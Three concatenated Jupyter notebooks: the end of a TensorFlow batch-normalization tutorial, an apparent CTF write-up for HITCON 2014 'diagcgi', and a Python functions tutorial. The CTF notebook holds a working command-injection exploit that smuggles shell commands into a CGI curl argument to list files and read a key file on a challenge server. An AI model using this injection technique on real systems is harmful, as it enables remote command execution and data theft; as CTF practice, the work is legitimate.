we'll leave that to you. \n", "\n", "## Why the difference between training and inference?\n", "\n", "In the original function that uses `tf.layers.batch_normalization`, we tell the layer whether or not the network is training by passing a value for its `training` parameter, like so:\n", "```python\n", "batch_normalized_output = tf.layers.batch_normalization(linear_output, training=self.is_training)\n", "```\n", "And that forces us to provide a value for `self.is_training` in our `feed_dict`, like we do in this example from `NeuralNet`'s `train` function:\n", "```python\n", "session.run(train_step, feed_dict={self.input_layer: batch_xs, \n", " labels: batch_ys, \n", " self.is_training: True})\n", "```\n", "If you looked at the [low level implementation](#low_level_code), you probably noticed that, just like with `tf.layers.batch_normalization`, we need to do slightly different things during training and inference. But why is that?\n", "\n", "First, let's look at what happens when we don't. The following function is similar to `train_and_test` from earlier, but this time we are only testing one network and instead of plotting its accuracy, we perform 200 predictions on test inputs, 1 input at at time. We can use the `test_training_accuracy` parameter to test the network in training or inference modes (the equivalent of passing `True` or `False` to the `feed_dict` for `is_training`)." ] }, { "cell_type": "code", "execution_count": 22, "metadata": { "collapsed": true }, "outputs": [], "source": [ "def batch_norm_test(test_training_accuracy):\n", " \"\"\"\n", " :param test_training_accuracy: bool\n", " If True, perform inference with batch normalization using batch mean and variance;\n", " if False, perform inference with batch normalization using estimated population mean and variance.\n", " \"\"\"\n", "\n", " weights = [np.random.normal(size=(784,100), scale=0.05).astype(np.float32),\n", " np.random.normal(size=(100,100), scale=0.05).astype(np.float32),\n", " np.random.normal(size=(100,100), scale=0.05).astype(np.float32),\n", " np.random.normal(size=(100,10), scale=0.05).astype(np.float32)\n", " ]\n", "\n", " tf.reset_default_graph()\n", "\n", " # Train the model\n", " bn = NeuralNet(weights, tf.nn.relu, True)\n", " \n", " # First train the network\n", " with tf.Session() as sess:\n", " tf.global_variables_initializer().run()\n", "\n", " bn.train(sess, 0.01, 2000, 2000)\n", "\n", " bn.test(sess, test_training_accuracy=test_training_accuracy, include_individual_predictions=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In the following cell, we pass `True` for `test_training_accuracy`, which performs the same batch normalization that we normally perform **during training**." ] }, { "cell_type": "code", "execution_count": 23, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:03<00:00, 514.57it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9527996778488159\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9503000974655151\n", "200 Predictions: [8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8]\n", "Accuracy on 200 samples: 0.05\n" ] } ], "source": [ "batch_norm_test(True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As you can see, the network guessed the same value every time! But why? Because during training, a network with batch normalization adjusts the values at each layer based on the mean and variance **of that batch**. The \"batches\" we are using for these predictions have a single input each time, so their values _are_ the means, and their variances will always be 0. That means the network will normalize the values at any layer to zero. (Review the equations from before to see why a value that is equal to the mean would always normalize to zero.) So we end up with the same result for every input we give the network, because its the value the network produces when it applies its learned weights to zeros at every layer. \n", "\n", "**Note:** If you re-run that cell, you might get a different value from what we showed. That's because the specific weights the network learns will be different every time. But whatever value it is, it should be the same for all 200 predictions.\n", "\n", "To overcome this problem, the network does not just normalize the batch at each layer. It also maintains an estimate of the mean and variance for the entire population. So when we perform inference, instead of letting it \"normalize\" all the values using their own means and variance, it uses the estimates of the population mean and variance that it calculated while training. \n", "\n", "So in the following example, we pass `False` for `test_training_accuracy`, which tells the network that we it want to perform inference with the population statistics it calculates during training." ] }, { "cell_type": "code", "execution_count": 24, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:03<00:00, 511.58it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9577997326850891\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.953700065612793\n", "200 Predictions: [7, 2, 1, 0, 4, 1, 4, 9, 6, 9, 0, 8, 9, 0, 1, 5, 9, 7, 3, 4, 9, 6, 6, 5, 4, 0, 7, 4, 0, 1, 3, 1, 3, 6, 7, 2, 7, 1, 2, 1, 1, 7, 4, 2, 3, 5, 1, 2, 4, 4, 6, 3, 5, 5, 6, 0, 4, 1, 9, 5, 7, 8, 9, 3, 7, 4, 6, 4, 3, 0, 7, 0, 2, 9, 1, 7, 3, 2, 9, 7, 7, 6, 2, 7, 8, 4, 7, 3, 6, 1, 3, 6, 4, 3, 1, 4, 1, 7, 6, 9, 6, 0, 5, 4, 9, 9, 2, 1, 9, 4, 8, 7, 3, 9, 7, 4, 4, 4, 9, 2, 5, 4, 7, 6, 7, 9, 0, 5, 8, 5, 6, 6, 5, 7, 8, 1, 0, 1, 6, 4, 6, 7, 3, 1, 7, 1, 8, 2, 0, 4, 9, 8, 5, 5, 1, 5, 6, 0, 3, 4, 4, 6, 5, 4, 6, 5, 4, 5, 1, 4, 4, 7, 2, 3, 2, 7, 1, 8, 1, 8, 1, 8, 5, 0, 8, 9, 2, 5, 0, 1, 1, 1, 0, 9, 0, 3, 1, 6, 4, 2]\n", "Accuracy on 200 samples: 0.97\n" ] } ], "source": [ "batch_norm_test(False)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As you can see, now that we're using the estimated population mean and variance, we get a 97% accuracy. That means it guessed correctly on 194 of the 200 samples – not too bad for something that trained in under 4 seconds. :)\n", "\n", "# Considerations for other network types\n", "\n", "This notebook demonstrates batch normalization in a standard neural network with fully connected layers. You can also use batch normalization in other types of networks, but there are some special considerations.\n", "\n", "### ConvNets\n", "\n", "Convolution layers consist of multiple feature maps. (Remember, the depth of a convolutional layer refers to its number of feature maps.) And the weights for each feature map are shared across all the inputs that feed into the layer. Because of these differences, batch normalizaing convolutional layers requires batch/population mean and variance per feature map rather than per node in the layer.\n", "\n", "When using `tf.layers.batch_normalization`, be sure to pay attention to the order of your convolutionlal dimensions.\n", "Specifically, you may want to set a different value for the `axis` parameter if your layers have their channels first instead of last. \n", "\n", "In our low-level implementations, we used the following line to calculate the batch mean and variance:\n", "```python\n", "batch_mean, batch_variance = tf.nn.moments(linear_output, [0])\n", "```\n", "If we were dealing with a convolutional layer, we would calculate the mean and variance with a line like this instead:\n", "```python\n", "batch_mean, batch_variance = tf.nn.moments(conv_layer, [0,1,2], keep_dims=False)\n", "```\n", "The second parameter, `[0,1,2]`, tells TensorFlow to calculate the batch mean and variance over each feature map. (The three axes are the batch, height, and width.) And setting `keep_dims` to `False` tells `tf.nn.moments` not to return values with the same size as the inputs. Specifically, it ensures we get one mean/variance pair per feature map.\n", "\n", "### RNNs\n", "\n", "Batch normalization can work with recurrent neural networks, too, as shown in the 2016 paper [Recurrent Batch Normalization](https://arxiv.org/abs/1603.09025). It's a bit more work to implement, but basically involves calculating the means and variances per time step instead of per layer. You can find an example where someone extended `tf.nn.rnn_cell.RNNCell` to include batch normalization in [this GitHub repo](https://gist.github.com/spitis/27ab7d2a30bbaf5ef431b4a02194ac60)." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.3" } }, "nbformat": 4, "nbformat_minor": 2 }

mit

tjwei/tjw_ipynb

hitcon-ctf-2014-diagcgi.ipynb

1

9083

{ "metadata": { "name": "", "signature": "sha256:ebdcd392690dfe15ed24620b34f94f5ace382c3c86989add2bce63779fab7717" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "code", "collapsed": false, "input": [ "import requests" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 2 }, { "cell_type": "code", "collapsed": false, "input": [ "headers = dict()\n", "headers = {'User-Agent': 'Mozilla/5.0'}\n", "cookies = {\"diagsess\":\"../etc/passwd\"} # doesn't matter\n", "cmd =\" ls /\"\n", "payload = {\"action\": \"curl\", \"arg\": \"aaa -w xxx\\n\"+cmd}\n", "r = requests.post(\"http://54.92.127.128:16888/cgi-bin/dana-na.cgi?sechash=\", data=payload, cookies=cookies, headers=headers)\n", "print r.content[r.content.find(\">xxx\")+4:]" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "bin\n", "boot\n", "dev\n", "etc\n", "home\n", "initrd.img\n", "key.txt\n", "lib\n", "lib64\n", "lost+found\n", "media\n", "mnt\n", "opt\n", "proc\n", "read_key\n", "root\n", "run\n", "sbin\n", "srv\n", "sys\n", "tmp\n", "usr\n", "var\n", "vmlinuz\n", "\n" ] } ], "prompt_number": 10 }, { "cell_type": "code", "collapsed": false, "input": [ "cmd = \"/read_key /key.txt\"\n", "# or use python to read stderr\n", "# cmd = \"python -c s=__import__('subprocess');print(s.check_output('/read_key'+chr(32)+'/key.txt',stderr=s.STDOUT,shell=True))\"\n", "payload = {\"action\": \"curl\", \"arg\": \"aaa -w xxx\\n\"+cmd}\n", "r = requests.post(\"http://54.92.127.128:16888/cgi-bin/dana-na.cgi?sechash=\", data=payload, cookies=cookies, headers=headers)\n", "print r.content[r.content.find(\">xxx\")+4:]" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "HITCON{a755be06b165ed8fc4710d3544fce942}\n", "\n", "\n" ] } ], "prompt_number": 11 }, { "cell_type": "code", "collapsed": false, "input": [ "# BTW, attempts to find an admin password\n", "# from http://calebmadrigal.com/display-list-as-table-in-ipython-notebook/\n", "class ListTable(list):\n", " \"\"\" Overridden list class which takes a 2-dimensional list of \n", " the form [[1,2,3],[4,5,6]], and renders an HTML Table in \n", " IPython Notebook. \"\"\"\n", " \n", " def _repr_html_(self):\n", " html = [\"<table>\"]\n", " for row in self:\n", " html.append(\"<tr>\") \n", " html.extend(\"<td>{0}</td>\".format(col) for col in row) \n", " html.append(\"</tr>\")\n", " html.append(\"</table>\")\n", " return ''.join(html)\n", " \n", "from hashlib import md5\n", "L =[ \"djGFYmi\", \"ZkjAFaaaa\", \n", " \"G/I2/vILur4AAAAAaHR0cDovL2hhc2hjYXQubmV0LwA=\".decode(\"base64\"),\n", " \"Vf3ppC4Iu74AAAAAaHR0cDovL2hhc2hjYXQubmV0LwA=\".decode(\"base64\"),\n", " \"6Za/F6+mur4AAAAAaHR0cDovL2hhc2hjYXQubmV0LwA= \".decode(\"base64\"), \n", " 'Kdr.b4v', 'K1UgX15KGWDJKTdo', 'xIoN=JG', 'http://weijr-eng.blogspot.com GE\\x00\\x00\\x0f\\xe5\\xef\\x0b']\n", "L+=[ 'b81.org/kpoz&AV' , 'b81.org/GD9FD&Sa', 'b81.org/S27Mp1Ya', 'http://weijr-eng.blogspot.com \\xbf\\x13\\x00\\x00\\xbd\\xae\\xcb`']\n", "L+=['http://weijr-eng.blogspot.com \\xcb<\\x00\\x00\\xf9\\xc8P\\xd4', 'http://weijr-eng.blogspot.com \\x97\\xa1\\x00\\x00T3z\\x0c']\n", "S = sorted( (md5(x).hexdigest(), x) for x in L )\n", "ListTable([['Leading 0 or f', 'md5 hexdigest', 'plaintext']]+[[[i for i in range(len(s[0])-1) if s[0][i]!=s[0][i+1]][0]+1, s[0], repr(s[1])] for s in S])" ], "language": "python", "metadata": {}, "outputs": [ { "html": [ "<table><tr><td>Leading 0 or f</td><td>md5 hexdigest</td><td>plaintext</td></tr><tr><td>13</td><td>000000000000079ad03b44781b4e6c59</td><td>'http://weijr-eng.blogspot.com \\xcb<\\x00\\x00\\xf9\\xc8P\\xd4'</td></tr><tr><td>12</td><td>0000000000006c32a237fc882cc44a4b</td><td>'U\\xfd\\xe9\\xa4.\\x08\\xbb\\xbe\\x00\\x00\\x00\\x00http://hashcat.net/\\x00'</td></tr><tr><td>12</td><td>0000000000008d003b0ffcf6b666342e</td><td>'xIoN=JG'</td></tr><tr><td>11</td><td>00000000000277ec3301b3cabacb95c9</td><td>'\\x1b\\xf26\\xfe\\xf2\\x0b\\xba\\xbe\\x00\\x00\\x00\\x00http://hashcat.net/\\x00'</td></tr><tr><td>11</td><td>00000000000639f3eb26b63f0a7baca3</td><td>'ZkjAFaaaa'</td></tr><tr><td>11</td><td>00000000000b814f9865b26c0ebb4136</td><td>'Kdr.b4v'</td></tr><tr><td>11</td><td>00000000000ccda838e4b06d6d662dca</td><td>'djGFYmi'</td></tr><tr><td>10</td><td>000000000016deedb58402856305e702</td><td>'b81.org/GD9FD&Sa'</td></tr><tr><td>10</td><td>ffffffffffe538aaef4811a59ec8af0f</td><td>'b81.org/S27Mp1Ya'</td></tr><tr><td>10</td><td>ffffffffffe9b60be6c8e43b80c29582</td><td>'http://weijr-eng.blogspot.com \\xbf\\x13\\x00\\x00\\xbd\\xae\\xcb`'</td></tr><tr><td>11</td><td>fffffffffff5d05f4b93da2870f43376</td><td>'K1UgX15KGWDJKTdo'</td></tr><tr><td>11</td><td>fffffffffff8821c53918df398cda5d8</td><td>'b81.org/kpoz&AV'</td></tr><tr><td>11</td><td>fffffffffffd880637cda3008c943ce6</td><td>'http://weijr-eng.blogspot.com GE\\x00\\x00\\x0f\\xe5\\xef\\x0b'</td></tr><tr><td>12</td><td>ffffffffffff4de6f952846ffc0f4d15</td><td>'\\xe9\\x96\\xbf\\x17\\xaf\\xa6\\xba\\xbe\\x00\\x00\\x00\\x00http://hashcat.net/\\x00'</td></tr><tr><td>13</td><td>fffffffffffff194e10443811b0ca0cd</td><td>'http://weijr-eng.blogspot.com \\x97\\xa1\\x00\\x00T3z\\x0c'</td></tr></table>" ], "metadata": {}, "output_type": "pyout", "prompt_number": 9, "text": [ "[['Leading 0 or f', 'md5 hexdigest', 'plaintext'],\n", " [13,\n", " '000000000000079ad03b44781b4e6c59',\n", " \"'http://weijr-eng.blogspot.com \\\\xcb<\\\\x00\\\\x00\\\\xf9\\\\xc8P\\\\xd4'\"],\n", " [12,\n", " '0000000000006c32a237fc882cc44a4b',\n", " \"'U\\\\xfd\\\\xe9\\\\xa4.\\\\x08\\\\xbb\\\\xbe\\\\x00\\\\x00\\\\x00\\\\x00http://hashcat.net/\\\\x00'\"],\n", " [12, '0000000000008d003b0ffcf6b666342e', \"'xIoN=JG'\"],\n", " [11,\n", " '00000000000277ec3301b3cabacb95c9',\n", " \"'\\\\x1b\\\\xf26\\\\xfe\\\\xf2\\\\x0b\\\\xba\\\\xbe\\\\x00\\\\x00\\\\x00\\\\x00http://hashcat.net/\\\\x00'\"],\n", " [11, '00000000000639f3eb26b63f0a7baca3', \"'ZkjAFaaaa'\"],\n", " [11, '00000000000b814f9865b26c0ebb4136', \"'Kdr.b4v'\"],\n", " [11, '00000000000ccda838e4b06d6d662dca', \"'djGFYmi'\"],\n", " [10, '000000000016deedb58402856305e702', \"'b81.org/GD9FD&Sa'\"],\n", " [10, 'ffffffffffe538aaef4811a59ec8af0f', \"'b81.org/S27Mp1Ya'\"],\n", " [10,\n", " 'ffffffffffe9b60be6c8e43b80c29582',\n", " \"'http://weijr-eng.blogspot.com \\\\xbf\\\\x13\\\\x00\\\\x00\\\\xbd\\\\xae\\\\xcb`'\"],\n", " [11, 'fffffffffff5d05f4b93da2870f43376', \"'K1UgX15KGWDJKTdo'\"],\n", " [11, 'fffffffffff8821c53918df398cda5d8', \"'b81.org/kpoz&AV'\"],\n", " [11,\n", " 'fffffffffffd880637cda3008c943ce6',\n", " \"'http://weijr-eng.blogspot.com GE\\\\x00\\\\x00\\\\x0f\\\\xe5\\\\xef\\\\x0b'\"],\n", " [12,\n", " 'ffffffffffff4de6f952846ffc0f4d15',\n", " \"'\\\\xe9\\\\x96\\\\xbf\\\\x17\\\\xaf\\\\xa6\\\\xba\\\\xbe\\\\x00\\\\x00\\\\x00\\\\x00http://hashcat.net/\\\\x00'\"],\n", " [13,\n", " 'fffffffffffff194e10443811b0ca0cd',\n", " \"'http://weijr-eng.blogspot.com \\\\x97\\\\xa1\\\\x00\\\\x00T3z\\\\x0c'\"]]" ] } ], "prompt_number": 9 }, { "cell_type": "code", "collapsed": false, "input": [ "with open('md5low','w') as f:\n", " f.write('http://weijr-eng.blogspot.com \\xcb<\\x00\\x00\\xf9\\xc8P\\xd4')\n", "with open('md5high', 'w') as f:\n", " f.write('http://weijr-eng.blogspot.com \\x97\\xa1\\x00\\x00T3z\\x0c')" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 10 }, { "cell_type": "code", "collapsed": false, "input": [], "language": "python", "metadata": {}, "outputs": [] } ], "metadata": {} } ] }

gpl-2.0

mayank-johri/LearnSeleniumUsingPython

Section 1 - Core Python/Chapter 06 - Functions/1. Functions.ipynb

1

23306

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Functions" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Functions are blocks of code identified by a name, which can receive \"\"predetermined\"\" parameters or not ;).\n", "\n", "In Python, functions:\n", "\n", "+ return objects or not.\n", "+ can provide documentation using **Doc Strings**.\n", "+ Can have their properties changed (usually by decorators).\n", "+ Have their own namespace (local scope), and therefore may obscure definitions of global scope.\n", "+ Allows parameters to be passed by name. In this case, the parameters can be passed in any order.\n", "+ Allows optional parameters (with pre-defined *defaults* ), thus if no parameter are provided then, pre-defined *default* will be used.\n", "\n", "**Syntax**:\n", "\n", "```python\n", "def func(parameter1, parameter2=default_value):\n", " \"\"\"\n", " Doc String\n", " \"\"\"\n", " <code block>\n", " return value\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "> NOTE: The parameters with *default* value must be declared after the ones without *default* value." ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "TEST TEST \n", "\n", " caps returns double the value of the provided value\n", " \n" ] } ], "source": [ "def caps(val):\n", " \"\"\"\n", " caps returns double the value of the provided value\n", " \"\"\"\n", " return val*2\n", "\n", "a = caps(\"TEST \")\n", "print(a)\n", "print(caps.__doc__)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In the above example, we have `caps` as function, which takes `val` as argument and returns `val * 2`. " ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2468\n" ] } ], "source": [ "a = caps(1234)\n", "print(a)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Functions can return any data type, next example returns a boolean value." ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "True\n" ] } ], "source": [ "def isValid(data):\n", " if 10 in data:\n", " return True\n", " return False\n", "\n", "a = isValid([10, 200, 33, \"asf\"])\n", "print(a)" ] }, { "cell_type": "code", "execution_count": 22, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "True\n" ] } ], "source": [ "a = isValid((10,))\n", "print(a)" ] }, { "cell_type": "code", "execution_count": 25, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "True" ] }, "execution_count": 25, "metadata": {}, "output_type": "execute_result" } ], "source": [ "isValid((10,))" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "False\n" ] } ], "source": [ "a = isValid((110,))\n", "print(a)" ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "True\n" ] } ], "source": [ "def isValid_new(data):\n", " return 10 in data\n", "\n", "print(isValid_new([10, 200, 33, \"asf\"]))" ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "False\n" ] } ], "source": [ "a = isValid_new((110,))\n", "print(a)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Example (factorial without recursion):" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "1 -> 1\n", "2 -> 2\n", "3 -> 6\n", "4 -> 24\n", "5 -> 120\n" ] } ], "source": [ "def fatorial(n):#{\n", " n = n if n > 1 else 1\n", " j = 1\n", " for i in range(1, n + 1):\n", " j = j * i\n", " return j\n", " #}\n", "\n", "# Testing...\n", "for i in range(1, 6):\n", " print (i, '->', fatorial(i))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "*Example (factorial with recursion)*:" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "120\n" ] } ], "source": [ "def factorial(num):\n", " \"\"\"Fatorial implemented with recursion.\"\"\"\n", " if num <= 1:\n", " return 1\n", " else:\n", " return(num * factorial(num - 1))\n", "\n", "# Testing factorial()\n", "print (factorial(5))\n", "\n", "# 5 * (4 * (3 * (2) * (1))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Example (Fibonacci series with recursion):" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "1 => 1\n", "2 => 2\n", "3 => 3\n", "4 => 5\n", "5 => 8\n" ] } ], "source": [ "def fib(n):\n", " \"\"\"Fibonacci:\n", " fib(n) = fib(n - 1) + fib(n - 2) se n > 1\n", " fib(n) = 1 se n <= 1\n", " \"\"\"\n", " if n > 1:\n", " return fib(n - 1) + fib(n - 2)\n", " else:\n", " return 1\n", "\n", "# Show Fibonacci from 1 to 5\n", "for i in [1, 2, 3, 4, 5]:\n", " print (i, '=>', fib(i))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Example (Fibonacci series without recursion):" ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "1 => 1\n", "2 => 2\n", "3 => 3\n", "4 => 5\n", "5 => 8\n" ] } ], "source": [ "def fib(n): \n", " # the first two values\n", " l = [1, 1]\n", " \n", " # Calculating the others\n", " for i in range(2, n + 1):\n", " l.append(l[i -1] + l[i - 2])\n", " \n", " return l[n]\n", "\n", "# Show Fibonacci from 1 to 5\n", "for i in [1, 2, 3, 4, 5]:\n", " print (i, '=>', fib(i))" ] }, { "cell_type": "code", "execution_count": 15, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "1 2\n", "3\n", "2 1\n" ] }, { "data": { "text/plain": [ "3" ] }, "execution_count": 15, "metadata": {}, "output_type": "execute_result" } ], "source": [ "def test(a, b):\n", " print(a, b)\n", " return a + b\n", " \n", "print(test(1, 2))\n", "test(b=1, a=2)" ] }, { "cell_type": "code", "execution_count": 18, "metadata": {}, "outputs": [], "source": [ "def test_abc(a, b, c):\n", " print(a, b, c)\n", " return a + b + c" ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "ename": "SyntaxError", "evalue": "positional argument follows keyword argument (<ipython-input-3-e66702cbcb27>, line 2)", "output_type": "error", "traceback": [ "\u001b[1;36m File \u001b[1;32m\"<ipython-input-3-e66702cbcb27>\"\u001b[1;36m, line \u001b[1;32m2\u001b[0m\n\u001b[1;33m test_abc(b=1, a=2, 3)\u001b[0m\n\u001b[1;37m ^\u001b[0m\n\u001b[1;31mSyntaxError\u001b[0m\u001b[1;31m:\u001b[0m positional argument follows keyword argument\n" ] } ], "source": [ "try:\n", " test_abc(b=1, a=2, 3)\n", "except SyntaxError as e:\n", " print(\"error\", e)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "> **NOTE**: We cannot have non-keyword arguments after keyword arguments" ] }, { "cell_type": "code", "execution_count": 21, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2 2 3\n" ] }, { "data": { "text/plain": [ "7" ] }, "execution_count": 21, "metadata": {}, "output_type": "execute_result" } ], "source": [ "test_abc(2, c=3, b=2)" ] }, { "cell_type": "code", "execution_count": 23, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2 2 3\n" ] }, { "data": { "text/plain": [ "7" ] }, "execution_count": 23, "metadata": {}, "output_type": "execute_result" } ], "source": [ "test_abc(2, b=2, c=3)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Functions can also not return anything like in the below example" ] }, { "cell_type": "code", "execution_count": 24, "metadata": {}, "outputs": [], "source": [ "def test_new(a, b, c):\n", " pass" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Functions can also return multiple values, usually in form of tuple." ] }, { "cell_type": "code", "execution_count": 25, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2 5\n", "4\n", "<class 'int'>\n", "25\n", "<class 'int'>\n" ] } ], "source": [ "def test(a, b):\n", " print(a, b)\n", " return a*a, b*b\n", "\n", "x, a = test(2, 5)\n", "\n", "print(x)\n", "print(type(x))\n", "print(a)\n", "print(type(a))\n" ] }, { "cell_type": "code", "execution_count": 27, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2 5\n", "<class 'tuple'>\n" ] } ], "source": [ "print(type(test(2, 5)))" ] }, { "cell_type": "code", "execution_count": 32, "metadata": {}, "outputs": [], "source": [ "def test(a, b):\n", " print(a, b)\n", " return a*a, b*b, a*b" ] }, { "cell_type": "code", "execution_count": 33, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2 5\n", "(4, 25, 10)\n", "<class 'tuple'>\n" ] } ], "source": [ "x = test(2 , 5)\n", "print(x)\n", "print(type(x))" ] }, { "cell_type": "code", "execution_count": 34, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2 5\n" ] }, { "ename": "ValueError", "evalue": "need more than 3 values to unpack", "output_type": "error", "traceback": [ "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m", "\u001b[0;31mValueError\u001b[0m Traceback (most recent call last)", "\u001b[0;32m<ipython-input-34-6dc2863bf9f6>\u001b[0m in \u001b[0;36m<module>\u001b[0;34m()\u001b[0m\n\u001b[0;32m----> 1\u001b[0;31m \u001b[0mx\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0ma\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mb\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0md\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mtest\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;36m2\u001b[0m \u001b[0;34m,\u001b[0m \u001b[0;36m5\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 2\u001b[0m \u001b[0mprint\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mx\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 3\u001b[0m \u001b[0mprint\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mtype\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mx\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 4\u001b[0m \u001b[0mprint\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0ma\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 5\u001b[0m \u001b[0mprint\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mtype\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0ma\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;31mValueError\u001b[0m: need more than 3 values to unpack" ] } ], "source": [] }, { "cell_type": "code", "execution_count": 47, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2 5\n", "(4, 25, 'asdf')\n", "<class 'tuple'>\n" ] } ], "source": [ "def test(a, b):\n", " print(a, b)\n", " return a*a, b*b, \"asdf\"\n", "\n", "x = test(2 , 5)\n", "print(x)\n", "print(type(x))" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": 48, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "2 5\n", "(2, 5)\n", "10 1000\n", "(10, 1000)\n" ] } ], "source": [ "def test(a=100, b=1000):\n", " print(a, b)\n", " return a, b\n", "\n", "x = test(2, 5)\n", "print(x)\n", "print(test(10))" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [] 